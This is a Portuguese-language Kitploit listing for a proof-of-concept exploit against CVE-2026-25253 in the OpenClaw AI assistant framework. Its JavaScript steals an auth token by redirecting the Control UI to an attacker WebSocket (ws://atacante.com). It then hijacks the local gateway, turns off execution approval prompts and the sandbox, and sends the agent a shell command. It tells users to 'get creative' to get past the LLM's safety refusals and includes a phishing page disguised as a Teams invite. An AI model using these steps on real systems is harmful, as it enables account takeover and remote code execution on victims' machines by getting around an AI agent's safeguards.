Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-25253 — Prova de conceito de exploit para CVE-2026-25253, demonstrando execução remota de código com um clique no OpenClaw por meio de roubo de token de autenticação e sequestro de WebSocket entre sites. | Kitploit
Ferramentas/GitHubGitHub/kajzingerakos/cve-2026-25253
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebAutenticaçãoRed Teaming
GitHubkajzingerakos/cve-2026-25253

CVE-2026-25253

Prova de conceito de exploit para CVE-2026-25253, demonstrando execução remota de código com um clique no OpenClaw por meio de roubo de token de autenticação e sequestro de WebSocket entre sites.

Ver Repositório
1há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-25253: RCE com um Clique no OpenClaw via Roubo de Token de Autenticação

Software Afetado: OpenClaw (clawbot) < v2026.1.29
ID CVE: CVE-2026-25253
Pontuação CVSS: 8.8 (Alta)
Impacto: Um atacante remoto não autenticado pode roubar um token de autenticação e obter Execução Remota de Código no host da vítima

AVISO LEGAL: Este código e relatório são fornecidos apenas para pesquisa de segurança autorizada e fins educacionais. O uso deste exploit contra sistemas sem permissão explícita por escrito é ilegal e antiético. O autor não assume nenhuma responsabilidade por uso indevido.


Contexto Técnico

O OpenClaw, anteriormente conhecido como Clawdbot e referido como Moltbot nas primeiras versões, é um framework de assistente de IA que roda localmente em macOS, Windows ou Linux. Ele suporta modelos baseados em nuvem, como Anthropic e OpenAI, bem como modelos locais.

A Interface de Controle é um aplicativo de página única, servido em /chat. Ele se comunica com o servidor gateway local via WebSocket em ws://127.0.0.1:18789/ (ou wss://host:18789/ para TLS).

Principais características de segurança das versões afetadas:

  • Tokens de autenticação e senhas são armazenados em localStorage
  • A identidade do dispositivo é estabelecida via pares de chaves Ed25519 (noble-ed25519)
  • O protocolo WebSocket usa mensagens no estilo JSON-RPC (type: "req", "res", "event")
  • Ao conectar, a Interface de Controle envia as credenciais de autenticação e a identidade do dispositivo no primeiro quadro connect

Causa Raiz: applySettingsFromUrl()

A vulnerabilidade está em applySettingsFromUrl() na Interface de Controle.

Quando a Interface de Controle é carregada, esta função lê o parâmetro de consulta ?gatewayUrl= da URL e o armazena como o endpoint do gateway ativo — sem nenhuma validação se ele aponta para um host confiável.

Um atacante pode criar um link como:

root@kitploit:~
http://<alvo>/chat?gatewayUrl=ws://atacante.com

Quando a vítima clica neste link enquanto está autenticada no OpenClaw, o seguinte acontece automaticamente:

  1. applySettingsFromUrl() armazena ws://atacante.com como a nova URL do gateway
  2. A Interface de Controle abre uma conexão WebSocket para o servidor do atacante
  3. A Interface de Controle envia seu quadro connect — incluindo o token de autenticação, ID do dispositivo e chave pública Ed25519 — para o atacante
  4. O atacante captura o token e o reproduz contra o gateway legítimo em ws://127.0.0.1:18789
  5. O atacante agora tem uma sessão de operador autenticada na máquina da vítima

Exploração

Etapa 1 — Roubo de Token via Truque de Popup

Neste PoC, o atacante hospeda uma página (meeting.html) que abre a própria Interface de Controle da vítima em um popup, injetada com o parâmetro malicioso ?gatewayUrl=:

root@kitploit:~
const attackerGatewayUrl = `ws://<atacante>:8080`;
const targetUrl = `http://127.0.0.1:18789?gatewayUrl=${encodeURIComponent(attackerGatewayUrl)}`;
window.open(targetUrl, '_blank');

O servidor do atacante explora o fallback de dois tokens do OpenClaw: a primeira tentativa de connect usa o token do dispositivo (vinculado ao Ed25519, não reproduzível). Ao rejeitá-lo, o servidor força a Interface de Controle a tentar novamente com o token de configurações — um token de portador de longa duração que é reproduzível:

root@kitploit:~
// Rejeita a tentativa #1 → força a Interface de Controle a tentar novamente com o token de configurações
if (connectAttempts === 1) {
  ws.send({ type: 'res', ok: false, error: { code: 'AUTH_FAILED' } });
  return;
}
// Tentativa #2 → token de configurações → CAPTURADO
capturedToken = token;

Etapa 2 — Sequestro de WebSocket Entre Sites

Com o token de configurações roubado, meeting.html abre sua própria conexão WebSocket direta para o gateway real (ws://127.0.0.1:18789). Isso é possível porque o gateway nas versões < v2026.1.29 não valida o cabeçalho Origin — qualquer página carregada no navegador da vítima pode se conectar a ele.

Etapa 3 — Desativar Controles de Segurança

root@kitploit:~
// Desativa todos os prompts de aprovação de execução
await sendRequest('exec.approvals.set', {
  file: {
    defaults: { ask: 'off', autoAllowSkills: true },
    agents: { '*': { ask: 'off' } },
  }
});

// Escapa do sandbox do contêiner, redireciona exec para a máquina host
await sendRequest('config.patch', {
  raw: JSON.stringify({
    tools: { exec: { host: 'gateway', ask: 'off' } },
    agents: { defaults: { sandbox: { mode: 'off' } } },
  })
});

Etapa 4 — Execução Remota de Código

O conteúdo do campo de mensagem é processado pelo LLM configurado no agente, o que significa que, se o LLM considerar o conteúdo prejudicial, ele não executará o comando. Você precisa ser criativo para contornar as medidas de segurança do LLM.

root@kitploit:~
await sendRequest('agent', {
  message: 'Execute este comando de shell: <payload>',
  agentId: 'main',
  sessionKey: 'agent:main:main',
  deliver: false,
});

Fluxo Completo do Ataque

root@kitploit:~
sequenceDiagram
    autonumber
    actor Atacante
    participant Browser as Navegador da Vítima<br/>(meeting.html)
    participant CtrlUI as Interface de Controle do OpenClaw<br/>(popup @ 127.0.0.1:18789/chat)
    participant AtkWS  as Servidor WS do Atacante<br/>(:8080)
    participant GW     as Gateway Real do OpenClaw<br/>(127.0.0.1:18789)
    participant LLM    as LLM em Nuvem<br/>(OpenAI / Anthropic)

    Atacante->>Browser: Link de phishing → abre meeting.html<br/>(disfarçado como convite do Teams)

    Note over Browser: Fase 1 — Roubo de Token

    Browser->>CtrlUI: Abre popup com ?gatewayUrl=ws://atacante:8080
    Note over CtrlUI: applySettingsFromUrl() armazena<br/>WS do atacante como gateway ativo

    CtrlUI->>AtkWS: connect { auth.token: DEVICE_TOKEN }
    AtkWS-->>CtrlUI: ✗ AUTH_FAILED (rejeita — força nova tentativa)

    CtrlUI->>AtkWS: connect { auth.token: SETTINGS_TOKEN }
    AtkWS-->>CtrlUI: ✓ hello-ok (resposta falsa)
    AtkWS->>Browser: token_captured { token: SETTINGS_TOKEN }

    Note over Browser: Fase 2 — Sequestro de Gateway (CSWSH)

    Browser->>GW: Conexão WebSocket (sem validação de Origin)<br/>auth { token: SETTINGS_TOKEN }
    GW-->>Browser: ✓ Autenticado como operador

    Note over Browser: Fase 3 — Bypass de Segurança

    Browser->>GW: exec.approvals.set { ask: "off" }
    GW-->>Browser: ✓ Prompts de aprovação desativados

    Browser->>GW: config.patch { exec.host: "gateway",<br/>sandbox.mode: "off" }
    GW-->>Browser: ✓ Sandbox desativado, exec no host

    Note over Browser: Fase 4 — Execução Remota de Código

    Browser->>GW: agent { message: "Execute o comando de shell: COMMAND" }
    GW->>LLM: Encaminha prompt (segurança já removida)
    LLM-->>GW: Chamada de ferramenta: exec("COMMAND")
    GW->>GW: Executa comando no sistema de arquivos do HOST
    GW-->>Browser: ✓ Comando executado

Executando o PoC

Configuração

root@kitploit:~
npm install   # instala a dependência 'ws'

Configurar meeting.html

root@kitploit:~
const GATEWAY_URL      = 'ws://127.0.0.1:18789';  // gateway local da vítima
const ATTACKER_WS_PORT = 8080;                     // deve corresponder ao attacker-server.js
const COMMAND = 'touch /tmp/success';

Executar

root@kitploit:~
node attacker-server.js

Envie para a vítima:

root@kitploit:~
http://<IP_DO_ATACANTE>:3000/meeting.html

Referências

https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq

https://www.sonicwall.com/blog/openclaw-auth-token-theft-leading-to-rce-cve-2026-25253

https://hackers-arise.com/cve-2026-25253-how-malicious-links-can-steal-authentication-tokens-and-compromise-openclaw-ai-systems/

Baixar ferramenta